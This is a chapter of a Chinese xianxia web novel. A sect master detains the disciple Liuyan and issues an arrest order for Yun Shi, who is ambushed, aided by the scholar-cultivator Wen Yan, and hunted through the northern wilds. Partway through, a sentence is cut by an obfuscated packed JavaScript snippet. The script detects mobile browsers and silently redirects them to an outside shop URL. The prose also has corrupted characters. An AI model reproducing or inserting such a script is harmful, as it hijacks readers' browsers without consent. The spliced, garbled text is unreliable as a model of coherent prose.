街角薄雾轻拢处,一道身影渐行渐近。来人步履从容,宛若丈量过距离,不疾不徐。他身着素白长袍,料子看似普通,却流动着月华般的温润光泽,纤尘不染。面容清俊,似青年模样,眉宇间却沉淀着岁月难以磨洗的澄澈与宁静。白发以最简单的玉簪束着,几缕银丝拂在肩头。他没有刻意散发任何威势,但周身那纯净而内敛的气息,已与这凡俗街巷格格不入,如同水墨画中走出的仙人。 他径直走向“云锦记”门口,在云天青夫妇略显局促的目光中停下,微微颔首,声音清朗温和,如玉石相击:“两位可是云实小友的双亲?鄙人天衡宗寒霁峰执掌,道号霁雪。冒昧清晨来访,叨扰了。” 他的态度平和有礼,丝毫没有仙人对凡人的倨傲,甚至还带着一丝恰到好处的歉意。 云天青和林秀慌忙躬身还礼,虽然对执掌具体意味着多大的身份并不完全清楚,但对方来自天衡宗,且气度如此不凡,必是了不得的人物。 “不敢不敢,仙尊驾临,寒舍蓬荜生辉。”云天青稳住心神,连忙侧身相让,“仙尊快请里面坐。实儿他……昨日好像说师门有事,连夜赶回去了,不知仙尊此来是……” “哦?已经离开了么?”霁雪仙尊眸光微动,似有浅浅涟漪划过冰湖,随即恢复平静。他并未进入店内,只温声道:“既如此,便不打扰二位经营了。不知可否容我去后院,向暂居于此的劣徒流衍询问几句话?问完便走。” 他的请求合情合理,语气更是让人难以拒绝。云天青虽心中疑惑重重,却也不敢多问,连忙引路:“自然,自然。流衍仙长就在后院客房,仙尊请随我来。” 后院,流衍在霁雪仙尊踏入青石镇范围时便已心生感应。那不是敌意或威压,而是一种同源功法高层次存在靠近时,灵力自然的共鸣与牵引。他收敛心神,整了整衣袍,在霁雪仙尊步入后院时,已恭立于客房门外,躬身行礼:“弟子流衍,拜见仙尊。” 霁雪仙尊的目光落在他身上,带着一如既往的清淡,却比往日多了几分不易察觉的审视。他微微抬手,示意流衍不必多礼,声音平和:“流衍,你在此处。云实那孩子,可是已经离开了?” 流衍心中暗叹,知道瞒不过,如实答道:“回仙尊,云实师弟已于昨夜独自离去,言有私事需了,不愿再牵连师门与他人。” 霁雪仙尊静静听着,脸上并无怒色,只是那冰灰色的眼眸深处,似乎掠过一丝极淡的惋惜。他沉默片刻,才缓缓道:“私自离山,终是不妥。你既与他相处数日,可知他心境如何?去往何方?” 流衍斟酌着词语:“师弟他……心绪复杂,对自身际遇既有不甘,亦有迷茫。至于去向……弟子并未细问,只知他往北去了。” 他选择了部分实话,隐藏了云实可能去探究“骗局”的意图,也隐去了自己大致猜测的方向。 “北地……”霁雪仙尊轻声重复,望向北方天际,那目光仿佛能穿透屋舍层云,“荒凉混乱,非善地。这孩子,怎如此莽撞。” 他收回目光,看向流衍,语气依旧平和,却多了几分劝诫的意味:“流衍,你素来持重明理。当知有些界限,关乎道统根本,不容逾越。云实身世特殊,际遇坎坷,易生偏执。他若只是因自身境遇而苦闷游历,尚可理解。但若因接触了些不该接触的妄言,而生出些……不该有的念头,甚至试图触碰绝不可触碰的禁忌,那便是将自己置于万劫不复之地,亦会为宗门、为这修行界带来莫测之患。” 流衍心头一紧,知道仙尊所指为何。他抬起头,直视霁雪仙尊,眼中带着不解与坚持:“仙尊,弟子愚钝。云实师弟所求,或许只是想寻一条自己能走、或许能活的路。他所闻所见,或许荒诞,但若连探究的余地都无,若只因‘可能’的危险便要彻底禁锢甚至……抹除其存在,这是否……便是我们秉持的‘道’?弟子并非要违逆仙尊,只是……心中确有困惑,望仙尊明示,那所谓的‘禁忌’,那‘天劫’为何便一定是金科玉律,绝无其他可能?” 这是他第一次如此直接地质疑,不是为了顶撞,而是真心想为云实、也为那份在他心中同样激起波澜的“可能性”,求一个明白。 霁雪仙尊静静地看着他,面上无喜无怒。良久,才轻叹一声,那叹息声中带着一种悠远的沉重:“流衍,你可知,为何各大宗门、乃至皇室,皆将‘天劫’视为修行路上无可替代的一环?不仅仅是因为传统,或是维护某种权威。” 他向前半步,声音依然不高,却字字清晰,带着洞彻世事的清明与不容置疑的严肃:“八行运转,天地衡常。修行者纳灵气,调矛盾,一步步贴近大道,自身便是一个不断变化的‘小天地’。境界突破,意味着体内小天地达成新的、更复杂的平衡。此平衡是否稳固?是否与外部大天地和谐?是否潜藏畸变隐患?——天劫,便是这方大天地,对所有试图晋升的‘小天地’,最直接、最严厉,也最公正的‘问心’与‘淬炼’!” “它涤除驳杂,淬炼精纯,更关键的是,它检验你这新的‘平衡’,是否根基扎实,是否与大道同频!”霁雪仙尊的眼神变得锐利,“若无此劫,修行者便可肆无忌惮地堆积力量,寻求各种偏门捷径,表面上境界飙升,实则内里千疮百孔,平衡脆弱不堪。这样的‘强者’越多,个体失控、走火入魔、乃至自身小天地崩塌引发局部灵机暴乱的可能性就越大!一人失控或可制,百人、千人、万人呢?若此风盛行,八行体系的内在稳定性将被动摇,引发的连锁反应,绝非区区个人生死那么简单,那是足以倾覆现有秩序、祸及苍生的劫难!” 他看着流衍骤然苍白的脸色,语气缓了缓,却更显沉重:“苏妄此人,惊才绝艳,亦邪亦正。他能找到某些……缝隙,以我们暂且无法完全理解的方式存续,或许是个特例,或许背后有更深的因果。但这绝不意味着那条路可以复制,可以推广!那是一条走在万丈深渊边的独木桥,九死一生,且其存在本身,就是对现有衡常体系的潜在冲击。云实若受其蛊惑,妄图效仿,非但自身十死无生,更可能成为点燃更多不安定因素的引信。届时,第一个要清除这‘引信’的,可能便不再是宗门,而是这方天地间,所有依赖于现有稳定秩序而存续的力量,包括那些你视之为倚仗的规则本身!” “所以,必须在他酿成大错,或成为他人手中棋子之前,带他回来。”霁雪仙尊的语气斩钉截铁,“予以保护,予以引导,必要时……也必须予以限制,直至他真正明白何为大道,何为禁忌。此非无情,实乃大义。流衍,你可明白?” 流衍听着这从未听闻过的、从更高层面阐述的利害关系,心中震撼无以复加。仙尊并非冷酷,而是站在一个他从未企及的高度,看到了更庞大、更可怕的图景。个人情谊,在可能波及无数生灵的“体系风险”面前,似乎渺小得不值一提。 但他脑中依然闪过云实那双不甘的眼睛,闪过他烧掉竹笛时的决绝,闪过他说“祸福自担”时的孤注一掷。那不仅仅是被蛊惑,那是一个被逼到绝境的人,本能地想要抓住任何一点可能的光亮,哪怕那光亮来自深渊。 他嘴唇动了动,声音干涩:“仙尊所言,弟子……明白了。可是,云实师弟他……或许并非想要颠覆什么,他只是……不想死得不明不白,不想永远被安排。即便那条路是错的,是危险的,难道连尝试寻找其他出口的资格,都没有吗?难道只因为‘可能’的危险,就要将所有不同的声音、不同的可能,都扼杀在萌芽中?这便是我们维护的‘秩序’吗?” 他终于将心底最深的不安与质疑问了出来。这质疑不仅针对云实的处境,也隐隐指向了这看似稳固、却不容丝毫“异常”的修行体系本身。 霁雪仙尊凝视着他,许久未曾说话。院中的空气仿佛凝滞了,清冽的气息中透出一丝寒意。终于,他缓缓开口,声音里的温度褪去了些许:“流衍,你今日,话太多了。也……想得太多了。” “维护秩序,有时便需雷霆手段,防患于未然。心存妇人之仁,迟疑不决,只会贻害无穷。”霁雪仙尊的声音渐渐转冷,那份属于仙道尊者的威严缓缓弥漫开来,“看来,让你下山,让你接触这些事,已扰了你的道心。你对云实的回护,已超越了同门之谊,近乎执念。此非修行者应有之态。” 流衍感到一股无形的压力降临,让他呼吸微窒。他知道,自己的坚持已经触动了仙尊的底线。 “本尊最后问你一次,”霁雪仙尊的目光如冰似雪,直透人心,“云实北去,究竟意欲何为?你隐瞒了多少?此刻回头,随我回山,静心思过,尚不失为寒霁峰真传。若再执迷……” 流衍迎着那目光,胸膛剧烈起伏,经络间因压力而隐隐作痛。他知道,说出某些猜测,可能会将云实推向更危险的境地。但若不说,仙尊的追缉绝不会停止,且会因他的隐瞒而更加严厉。而他自己,也可能真的被当作“执迷不悟”者处理。 在令人窒息的沉默中,流衍闭上了眼,复又睁开,眼中充满了疲惫的血丝,却也有一种豁出去的清明。他不再试图完全隐瞒,而是选择性地透露,以期或许能稍微影响仙尊的判断:“师弟他……或许是想去寻找‘答案’。关于他体内的异状,关于修行之路……是否只有一条。他并非要作乱,仙尊,他只是……想弄明白自己身上到底发生了什么,想看看……有没有别的活法。弟子恳请仙尊,若能寻回他,可否……多予一分耐心,一分引导?而非……直接‘净化’?” “净化”二字,他说的极轻,却重若千钧。 霁雪仙尊眼神微动,流衍的坦白并未出乎他的预料,但那份恳求中的绝望与希冀交织,仍让他冰封的心湖泛起一丝微澜。然而,这微澜迅速被更深沉的忧虑覆盖。寻找“答案”?看看“别的活法”?这恰恰是最危险的方向! “冥顽不灵!”霁雪仙尊终是动了真怒,并非因为流衍的顶撞,而是因为他清晰看到了云实可能选择的、那条最糟糕的道路,以及流衍对此事实上的纵容与同情。他袖袍无风自动,周遭温度骤降,空气中凝结出细小的冰晶,“他这是自寻死路,更会拖累无数!流衍,你太让本尊失望了!” 无形的威压如冰山倾覆,流衍闷哼一声,脸色煞白,连退数步才勉强站稳,体内灵力乱窜,气血翻腾。 “看来,你需要好好冷静一下了。”霁雪仙尊不再多言,抬手虚按。流衍顿时感到周身一紧,强大的禁锢之力落下,不仅封住了他几处大穴,更有一股冰寒精纯的灵力注入他经络,暂时压制了他大部分力量,只留下基本的行动能力。 “随我回山。在你想清楚何为大局,何为道统之前,不得离山半步。”霁雪仙尊语气不容置疑,转身对一直候在不远处、面露惊惶的云天青夫妇微微颔首,“惊扰二位,此人我便带走了。云实之事,宗门自有主张。” 说罢,不待流衍再多言,也不待云天青夫妇回应,一道柔和却无可抗拒的力量卷起流衍,霁雪仙尊一步踏出,两人的身影便如幻影般自院中淡去,消失无踪,只留下尚未完全散去的清冽气息,以及面面相觑、心头被巨大不安攥紧的云家夫妇。 回山之路,沉默而迅速。流衍被仙尊灵力携裹,望着下方飞速掠过的山河,心中一片冰凉。他知道,自己暂时失去了自由,也未能改变仙尊的决定。而云实……他将独自面对那张即将撒开的、名为“天衡缉令”的大网。 寒霁峰,静思崖。 流衍被送至这处孤绝寒冷的院落软禁。石屋门关闭的刹那,内外隔绝。 约半日后,那股宏大、冰冷、代表天衡宗最高意志之一的波动——“天衡缉令”——如期而至,横扫山门,传向北地。 【天衡缉令,甲字七九三】内容如前所述,缉拿对象:云实。 石屋内,流衍感应到那波动,看清那烙□□神的信息,痛苦地闭上了眼睛。仙尊最终还是动用了最严厉的手段。这缉令一出,北地将无云实立锥之地。 他靠着冰冷的石壁,缓缓滑坐在地上。脑海中,是仙尊痛心而决绝的眼神,是云实孤独北去的背影,是那套沉重如山、不容置疑的“大道”与“秩序”。 而他,被关在这寂静的寒牢里,什么也做不了。 …… 同一时间,数百里外,崎岖荒凉的北地古道上。 云实已经徒步行走了一天一夜,只在中途寻了处背风岩隙短暂休息了两个时辰。他专挑人迹罕至的小路,避开官道和驿站,渴了饮山泉,饿了啃干粮,全凭一股心气支撑着。 红白外袍沾上了尘土草屑,脚上的布鞋也磨得有些开线。但他的眼神却比离开青石镇时更加沉静,甚至带着一种近乎狼性的警惕。荒野的环境唤起了他骨子里属于底层劳动者的坚韧,而丹田内那颗沉寂内丹,在这远离人烟、灵气相对混沌(也更贴近“乱”之本源)的环境中,似乎也隐隐有了一丝极其微弱、难以捉摸的活性。 他并不知道霁雪仙尊已经亲临青石镇,并下达了针对他和流衍的缉捕令。但他本能地感到不安,仿佛有无形的网正在身后张开。 第三天下午,当他试图穿越一片怪石嶙峋的干涸河谷时,危险降临了。 三道身影,如同鬼魅般从河谷上方的岩壁阴影中滑落,呈品字形将他堵在了河床中央。来人皆穿着不起眼的灰褐色行装,蒙着面,只露出一双双不含感情的眼睛。他们身上没有明显的宗门标识,灵力波动刻意收敛,却隐隐透着一股训练有素的肃杀之气,绝非寻常剪径毛贼。 云实的心瞬间沉到谷底。对方的目标明确,就是自己。 “跟我们走一趟,可少受皮肉之苦。”居中一人声音嘶哑,毫无起伏。 云实没有回答,手已悄然摸向怀中——那里还有他的斧头。 三人显然没打算多费唇舌,见云实沉默,交换一个眼神,同时出手!动作快如闪电,配合默契,两道身影左右夹击,封堵云实躲闪空间,居中那人直取中宫,五指成爪,指尖泛起暗沉光泽,直扣云实肩颈要穴,显然是想一击制服。 云实虽在修行上进展缓慢,但在大自在天那段日子,为了活下去,也为了不浪费苏妄偶尔“投喂”的实战机会(往往是把他扔进某个低阶妖兽巢穴或幻阵),被迫磨练出了一些粗浅的、近乎本能的闪避和应变能力。此刻生死关头,他身体先于意识做出反应,腰身猛地一拧,以一种极其别扭却有效的姿势,险之又险地避开了正面一抓,同时双脚用力向后蹬地,试图向后翻滚拉开距离。 但左右两侧的攻击已然临身。他躲开了左侧袭向肋下的手刀,右侧那记横扫腿却结结实实地扫在了他的小腿骨上。 “咔嚓!”一声清晰的骨裂声响起,剧痛瞬间席卷了云实的神经,他闷哼一声,身体失去平衡,向一旁歪倒。 完了!云实脑中闪过这个念头,绝望涌起。实力的差距太大了,对方显然是有备而来的专业者。 就在此时,异变陡生! 一道清越的朗喝声自河谷上方响起:“何方宵小,光天化日之下,竟敢行凶掳人?” 声音未落,一道炽白中带着淡金色的流光,如同经天匹练,自高空疾射而下,精准无比地轰击在云实与三名灰衣人之间的地面上! “轰隆!” 土石飞溅,烟尘弥漫。狂暴而灼热的冲击力将三名灰衣人硬生生逼退数步,也将倒地的云实掀飞出去,却有一股柔和的托力适时出现,减缓了他的坠势,让他摔在松软的砂土上,避免了二次伤害。 烟尘散去,只见河谷中央的地面上,多了一个焦黑的浅坑。坑边,不知何时已多了一人。 来人是个青年,约莫二十七八岁年纪,身穿一袭月白色儒生长衫,头戴同色方巾,面容俊朗,眉眼间自带一股书卷清气,却又透着一股不怒自威的刚正。他手中并无兵刃,只持着一卷看似普通的书简,但周身隐隐流转着一股浩然堂正、炽热澎湃的灵力波动,与天衡宗偏向“寒”或“热”一侧的专精不同,这股灵力更接近“明”与“序”的融合,中正平和,却又蕴含莫大威能。 三名灰衣人见状,眼神骤变,显然是认出了来人的身份或功法路数,忌惮之色一闪而过。但他们并未立刻退走,其中一人沉声道:“阁下何人?此乃私务,奉劝莫要插手,以免惹祸上身!” 白衣青年闻言,洒然一笑,那笑容如春日暖阳,却带着不容置疑的力度:“私务?三个至少锚定后期的修士,联手对付一个感气期都未圆满的少年,这‘私务’倒是别致。在下四明宗温言,路见不平,今日这闲事,怕是管定了。” 温言? 云实忍着剧痛,抬头望去,当那衣袍映入眼帘时,一个模糊的记忆瞬间被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934569|192840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点燃,变得清晰滚烫——栖霞镇,简陋的茶棚,那身流转着云水暗纹、非丝非缎的奇异衣料,那个气质清绝、独自饮茶的侧影,以及后来听人低声议论的只言片语。 “四明宗……温言……前科状元……” 竟然是他! 荒野河谷,尘烟未散。温言立于浅坑之旁,月白儒衫纤尘不染,手中书简已合拢。他并未立刻看向那三名退走的灰衣人消失的方向,而是先转向跌坐在地的云实。 “小兄弟,伤得不轻。”他声音温和,与记忆茶棚中那份疏离的平淡略有不同,此刻更添了几分切实的关切。他快步走近,蹲下身来。 云实心中警铃大作,远比腿伤更甚。怎么会这么巧?在栖霞镇有过一面之缘的这位高阶修士,竟会在自己遇袭的荒谷中出现?是巧合,还是……他强压住翻腾的疑虑和惊惧,低下头,哑声道:“多……多谢仙长相救。” 他没称呼“温前辈”,也没提及栖霞镇之事。他不确定对方是否还记得那个冒昧询问衣料的布料店小子。 温言似乎并未在意他的称呼,指尖泛起柔和而纯净的白光,那光芒中正平和,带着令人心安的暖意与生机,轻轻按在云实小腿伤处。 “忍着些,我先替你稳住伤势。” 一股温暖而强大的力量涌入,迅速包裹住断裂的骨骼和受损的经络,疼痛被快速抚平,取而代之的是一种酥麻痒痛的愈合感。 “那三人,你可知来历?”温言一边专注疗伤,一边随口问道,语气依旧温和,听不出太多探究的意味。 “不知。”云实摇头。 温言点了点头,没再追问。他似乎更专注于手中的治疗,片刻后,他收回手,云实小腿的肿胀已消去大半,虽然依旧酸软无力,无法剧烈运动,但骨骼已接续,行走无碍了。 “好了,静养一两日便可恢复如初。”温言站起身,目光这才投向灰衣人退走的方向,又扫视了一圈荒凉的河谷,最后落回云实身上,带着些许审视,但更多的是疑惑,“你独自一人,在此荒僻之地行走,甚是危险。方才那三人,训练有素,目标明确,绝非寻常劫匪。” 云实撑着地面,艰难地站起来,拍了拍身上的尘土,低声道:“晚辈……有些私事,不得不行此路。多谢仙长再次援手。” 他刻意用了“再次”二字,带着一丝试探,看对方反应。 温言闻言,眸光微动,再次仔细打量了云实一番。这一次,他的目光在云实那件透着一股不羁气息的外袍上停留了片刻,又似乎掠过云实周身那极其微弱、却难以忽视的晦涩波动,眼中闪过一丝了然。 “原来是你。”温言忽然开口,语气平和,却带着一种洞悉,“栖霞镇茶棚,问过我身上‘云水缎’的少年。” 他显然记忆力极佳,虽只一面之缘,且当时云实还是个纯粹的凡人模样,但此刻结合地点、情形以及云实那独特的、混合着凡人坚韧与某种诡异修行气息的状态,还是让他认了出来。 “是。”云实心中一凛,承认了。对方既然认出,隐瞒也无意义,“当日唐突,仙长见谅。” “无妨。”温言摆摆手,神情若有所思,“短短时日,你变化不小。看来是已踏入道途,只是……”他顿了顿,似乎在斟酌措辞,“你这修行路子,颇为特异。方才那三人,恐怕也与此有关?” 问题再次指向核心。云实沉默,不知该如何回答。承认?对方是四明宗重要人物,立场不明。否认?在这样的人物面前,苍白无力。 见云实沉默,温言也没有逼迫,只是轻轻叹了口气,道:“我此行是奉师门之命,前往北地办事,途经此处察觉灵力波动,故而下来查看。没想到是你。” 他解释了自己的来意,听起来合情合理,且与栖霞镇时云实听到的“前往某地送文书查线索”的零碎信息能对上。 “你孤身北上,前路凶险。方才那三人虽退,难保不会卷土重来,或另有他人觊觎。”温言看着云实,眼神清澈坦荡,提出建议,“此地离玄戈城已不甚远,你若暂无明确去处,不妨与我同行一程。至少,在到达玄戈城前,安全可保无虞。四明宗在城中亦有驻地,你可稍作休整,再做打算。” 又一次邀请。与栖霞镇茶棚那次云实主动询问后得到的冷淡回应不同,这一次,温言主动伸出了橄榄枝,理由充分,情真意切。 不对……这也太巧了。荒郊野岭,自己刚遇袭,这位修为高深、与自己有过一面之缘的仙长就恰好出现并解围?他的态度,比起栖霞镇时的疏离平淡,也过于关切了些。这位温前辈到底知道多少?他四明宗弟子的身份……天衡宗若下发通缉,同为四大宗门的四明宗,会不知情吗?他口中的“办事”,会不会就是…… 各种念头混杂着恐惧与猜疑,在云实脑中冲撞。他强压下紊乱的呼吸,对着温言深深一揖,语气恭敬却带着不易察觉的疏离:“仙长救命之恩,疗伤之德,云实没齿难忘。仙长好意,晚辈心领。只是……晚辈确有不得不独行的苦衷,前路纵有千难万险,亦需自己面对。不敢再劳烦仙长,亦不愿……再牵连旁人。” 他低着头,不敢看温言的眼睛,生怕被那双看似温和的眼眸看穿自己心底翻腾的疑虑和惊惧。 温言静默了片刻,云实几乎能听到自己擂鼓般的心跳。就在他以为温言会追问或是不悦时,却听到一声极轻的叹息。 “你可知,”温言的声音依旧平稳,却多了一丝复杂的意味,“天衡宗的‘缉令’,已然发出。” 云实浑身剧震,猛地抬头,脸色瞬间苍白。虽然早有猜测,但当这句话从温言口中如此明确地说出时,那股冰冷的、无处遁形的绝望感还是瞬间攫住了他的心脏。 温言看着他骤变的脸色,缓缓道:“我四明宗虽与天衡宗并非事事同步,但此等涉及‘非法突破’嫌疑、且由一峰仙尊亲自签发的甲字缉令,通报各方的程序是少不了的。我也是在离开栖霞镇后,才收到宗内传讯。” 他顿了顿,目光落在云实那件醒目的红白外袍上:“缉令所述特征,与你……颇为吻合。我想,那三人恐怕并非寻常劫掠,而是嗅着风声而来的‘赏金猎人’,或是某些急于向天衡宗示好的小势力派出的探子。” 云实只觉得手脚冰凉,喉咙干涩得说不出话来。缉令……自己已经成了猎物,暴露在无数贪婪或尽责的眼睛之下。他之前还抱着侥幸,以为逃得够远,够偏僻。 “我不知道你究竟做了什么,或是知道了什么,竟惹得霁雪仙尊亲自签发缉令。”温言的目光带着审视,但并无咄咄逼人的逼问,“但你如今的处境,确实危如累卵。向北这一路,只会越来越不太平。玄戈城虽在镇北侯管辖下,秩序稍好,但天衡宗的缉令,镇北侯府多半也会配合排查。” 他向前走了一步,离云实更近了些,声音压低,却字字清晰:“我身为四明宗弟子,为朝廷办事,按律……其实也有协助缉拿之责。” 云实心脏骤停,几乎要向后踉跄。果然!他指尖冰凉,下意识地握紧了拳,体内那颗沉寂的内丹似乎都因这极致的危险预感而微微悸动。 然而,温言接下来的话却出乎他的意料。 “不过,”温言话锋一转,眼神中那抹复杂更深,“我今日出手,已是干预。” 他从袖中取出一枚看似普通的木牌,只有巴掌大小,纹理天然,上面刻着一个古朴的“明”字,除此之外再无装饰。 “这枚信物你拿着。”温言将木牌递给云实,语气恢复了之前的平和,却更显郑重,“它本身并无追踪之能,也非什么厉害法宝。但它是我温言的私人信物。你若在北地,尤其是靠近玄戈城一带,遇到生死攸关、走投无路的境地,或许……可以试着凭它,向刻有类似‘明’字标记的店铺或行人求助。他们或许会看在这信物的份上,给你指条生路,或是容你暂时躲避。” 他看着云实迟疑不敢接的手,补充道:“当然,你若信不过,觉得这可能是个陷阱,或是担心留下痕迹,现在就可以扔掉,或者找个地方埋了。我给你的,只是一个‘或许有用’的选择,如何处置,全在于你。” 最终,对生存的渴望压过了极致的猜疑。云实伸出微微颤抖的手,接过了那枚尚带着温言掌心余温的木牌。入手微沉,木质细腻,并无任何灵力波动。 “多谢……温仙长。”云实哑声道,将木牌紧紧攥在手心,指尖因用力而发白。 “不必谢我。”温言收回手,望向西北方,“我能做的,仅此而已。前路如何,终究要看你自己。记住,玄戈城在西北方向,约八百里。好自为之。” 言罢,他不再停留,对云实微微颔首,便御剑飞走,转瞬不见。 云实孤零零地站在河谷中央,握着那枚温热的木牌,望着温言消失的方向,久久未动。 12. 【十】 温言离去后,荒谷中只剩下呼啸的风声和云实自己沉重的呼吸。 接下来的几天,云实将警惕提到了极致。他不再沿着任何明显的路径行走,专挑最崎岖难行的山脊、干涸的河床、甚至野兽踩出的小径。夜晚不再生火,只在背风的岩缝或茂密树丛中浅眠,任何风吹草动都能让他瞬间惊醒。干粮很快耗尽,他就采些认识的野果,设下简陋陷阱捕捉小兽,茹毛饮血,勉强维持体力。 腿伤在温言精纯灵力的治疗下好得很快,但连日跋涉和紧绷的精神,依旧让他疲惫不堪。更让他心惊的是,追兵并未因他的小心而消失,反而像嗅到血腥味的鬣狗,接二连三地出现。 有时是三五成群、看起来像是散修或佣兵模样的人,眼神里混杂着贪婪和谨慎;有时是单独行动的修士,气息更加凝练,目的性更强。 战斗几乎都是被迫发生的。他没什么高明招式,全凭在大自在天被逼出来的那股狠劲,配合着偶尔情急之下引动内丹泄露出的暴戾气息,往往能出其不意,惊退或击伤对手。 他不敢杀人,也尽量不造成重伤,只是将他们逼退,然后立刻换方向逃窜。每一次冲突都让他更加虚弱,精神如同绷紧到极限的弦。 他不是没想过那些画本里的情节:绝境中突现上古洞府,获得失传秘宝;或是被隐世高人看中,收为关门弟子;又或者绝地反击,临阵突破,将追兵尽数反杀……可现实是,只有望不到头的荒山,越来越少的食物,越来越频繁的袭击,以及体内那颗随着他情绪剧烈波动而愈发难以控制的“乱”丹。 偶尔在极度疲惫的恍惚间,他会想起大自在天。那里有明确的危险,但也有相对稳定的环境和资源。如果当初没有离开,如果甘心继续做那个用尊严和表演换取指点与资源的“厨子”,现在是不是至少不必如此狼狈逃窜,朝不保夕?这个念头一旦滋生,就带来更深的自我厌恶。 他也想过温言。那枚贴身放着的木牌,偶尔会透过衣物传来一丝微弱的暖意,不知是错觉还是它真有灵性。如果当时接受了同行……不,他凭什么相信一个仅有两面之缘的陌生高阶修士?就因为他看起来正气凛然?就因为他救了自己?流衍师兄待他如何?最终不也被他拖累?温言明确说了有协查之责,四明宗与天衡宗同气连枝,他凭什么为自己冒险?更大的可能是,那木牌本身就是一个追踪标记,或者一个温柔的陷阱,等着自己这个走投无路的猎物,主动撞进更精密的罗网。 恐惧,不仅仅是怕被抓。他怕的是被抓后,天衡宗、或者其他什么势力,会用尽手段从他这里拷问出关于苏妄、关于大自在天、关于骗局的一切。苏妄本人或许根本不在乎,但大自在天里那些同样游走在秩序边缘的存在呢?会不会因此迁怒,顺手碾死青石镇上那家小小的“云锦记”,像踩死一窝蚂蚁?他已经拖累了流衍师兄,难道还要把家人也拖进这无底深渊? 每次想到这个可能,他就浑身发冷,逃窜的决心反而更坚定——绝不能被抓到!万不得已,至少……要有自我了断的勇气和机会。 第五日傍晚,视野尽头终于出现了一座城池的轮廓。玄戈城。比想象中更小,更荒凉。土黄色的城墙低矮斑驳,在落日余晖下像一头疲惫趴卧的巨兽。但城头飘扬的、依稀可辨的镇北旗帜,和城门口稀疏却有序进出的人流车马,还是带来了一丝久违的秩序气息。 云实在远处山坡的灌木丛后潜伏了很久,远远观察。他看到挑着担子的农人,赶着牲口的商队,还有零星几个穿着统一服饰、在城门口巡视的兵丁。城内炊烟袅袅,隐约传来市井的嘈杂。一切看起来平静,甚至有些破败的祥和。 他的脚步迟疑了。进城吗?用身上最后一点碎银买些正经药物、热食,或许还能打听到一些消息?但万一城里有天衡宗的暗哨,或者缉令已经贴到了城门?更可怕的是,如果那些追兵不顾一切在城里动手呢?那些摆在街边的小摊,那些抱着孩子的妇人,那些为生计奔波的寻常百姓……他们该怎么办?刀剑无眼,灵力肆虐,踩坏的瓜果蔬菜或许还能赔,若是伤了人,甚至害了命…… 他仿佛已经看到灵力爆开,摊位倒塌,人们惊恐奔逃的场景。而这一切,可能都因他踏入那道城门而引起。 云实紧紧闭上了眼,攥紧了拳头,指甲陷进掌心。半晌,他转身,头也不回地离开了能望见玄戈城的山坡,朝着更偏僻的荒野深处走去。 他在距离玄戈城约二十里外的一处山坳里,找到了一个近乎废弃的小村落。只有寥寥几户人家还守着破旧的土屋,大部分房屋都已倾颓,长满荒草。他在村落边缘一个背阴的、被落石半掩的山洞里安顿下来。洞口隐蔽,里面干燥,还有前人留下的一点破烂草席。 他用最后一点钱,在村落里仅存的一户老人那里,换到了一些最粗糙的伤药和面饼。老人眼神浑浊,默默接过钱,递过东西,什么也没问。这让他稍稍安心。 夜幕降临。山洞里漆黑一片,只有洞口漏进一点惨淡的星光。云实就着凉水,慢慢啃着干硬的面饼,小心地给身上几处新添的擦伤涂抹药膏。伤口火辣辣地疼,但更疼的是那条旧伤未愈的腿,连日奔逃,此刻又酸又胀,隐隐有再次发作的迹象。 他靠在冰冷粗糙的石壁上,疲惫如同潮水般淹没了他。身体很冷,心里更冷。这就是他选择的自己的路?像阴沟里的老鼠一样躲藏,在废弃的村落里苟延残喘,连一座小城都不敢进入,怕牵连那些素不相识的陌生人。 他算什么呢?一个有点奇遇的杂灵根凡人,一个被强行种下乱丹的试验品,一个被正统宗门通缉的异端嫌疑犯。画本里的主角,总是能逢凶化吉,遇难呈祥,而他呢?只有望不到头的追捕,和这仿佛永远也走不出去的、名为“弱小”和“麻烦”的绝境。 或许……就这样死在这里也不错。伤口感染,或者饿死,至少清净。也免得再有人因他受伤,因他陷入险境。如果真有追兵找到这里,他还有最后一点力气自尽,或者……试着彻底引爆体内这颗内丹?总好过被活捉,连累更多人。 迷迷糊糊中,他想起流衍。师兄现在怎么样了?安全回宗门了吗?如果自己死了,会不会反而能让师兄的“错误”显得轻一些?他该留封遗书吗?可写给谁?怎么写? 寂静的夜被突兀的脚步声和低语声打破。不是一两个,听动静,至少有四五人,正在靠近这个废弃的村落。 云实瞬间清醒,所有疲惫和绝望被强行压下,只剩下冰冷的警觉。他悄无声息地移到洞口边缘,透过石缝向外望去。月光下,几个黑影正在村落里逡巡,手中兵器反射着寒光。他们似乎在搜寻什么,偶尔压低声音交谈几句。 “……确定是往这个方向?” “错不了,那小子腿脚不利索,痕迹新鲜……” “这破村子,能藏哪儿?分开找!” 云实的心沉了下去。终究还是被找到了。看这几人的打扮和气息,不像之前那些零散的贪婪之徒,更像是有组织的搜捕小队。 他退回山洞深处,握紧了斧子,默默调动着体内所剩无几的灵力,试图安抚那颗因为紧张和敌意而开始加速悸动的内丹。不能在这里打,会波及仅存的几户村民。他必须把他们引开。 深吸一口气,云实猛地从山洞另一侧一个更隐蔽的缺口窜出,故意弄出一些声响,然后朝着村落外的荒野发足狂奔! “在那边!” “追!” 身后的呼喝声和脚步声立刻追来。云实拼尽全力奔跑,受伤的腿每迈出一步都传来钻心的疼痛,但他不敢停。他专挑乱石嶙峋、灌木丛生的地方钻,试图利用地形摆脱。 然而,追兵显然经验更丰富,分出两人包抄,另外三人紧追不舍。很快,云实被逼到了一处陡峭的断崖边,下方是黑黝黝的、深不见底的山涧。 退无可退。 五个人围了上来,形成一个半圆。为首的是个脸上有疤的汉子,眼神阴鸷,打量着云实,尤其在看到他身上那件红白外袍时,眼中闪过确认的神色。 “小子,挺能跑啊。”疤脸汉子嘿嘿一笑,“天衡宗的赏格可不低,乖乖跟我们走,少吃点苦头。” 云实背靠着冰冷的崖壁,剧烈喘息着,胸口火辣辣地疼,受伤的腿更是不住颤抖,几乎站立不稳。他目光扫过五人,都是锚定期的修为,单独一个他或许能勉强周旋,五个……绝无胜算。 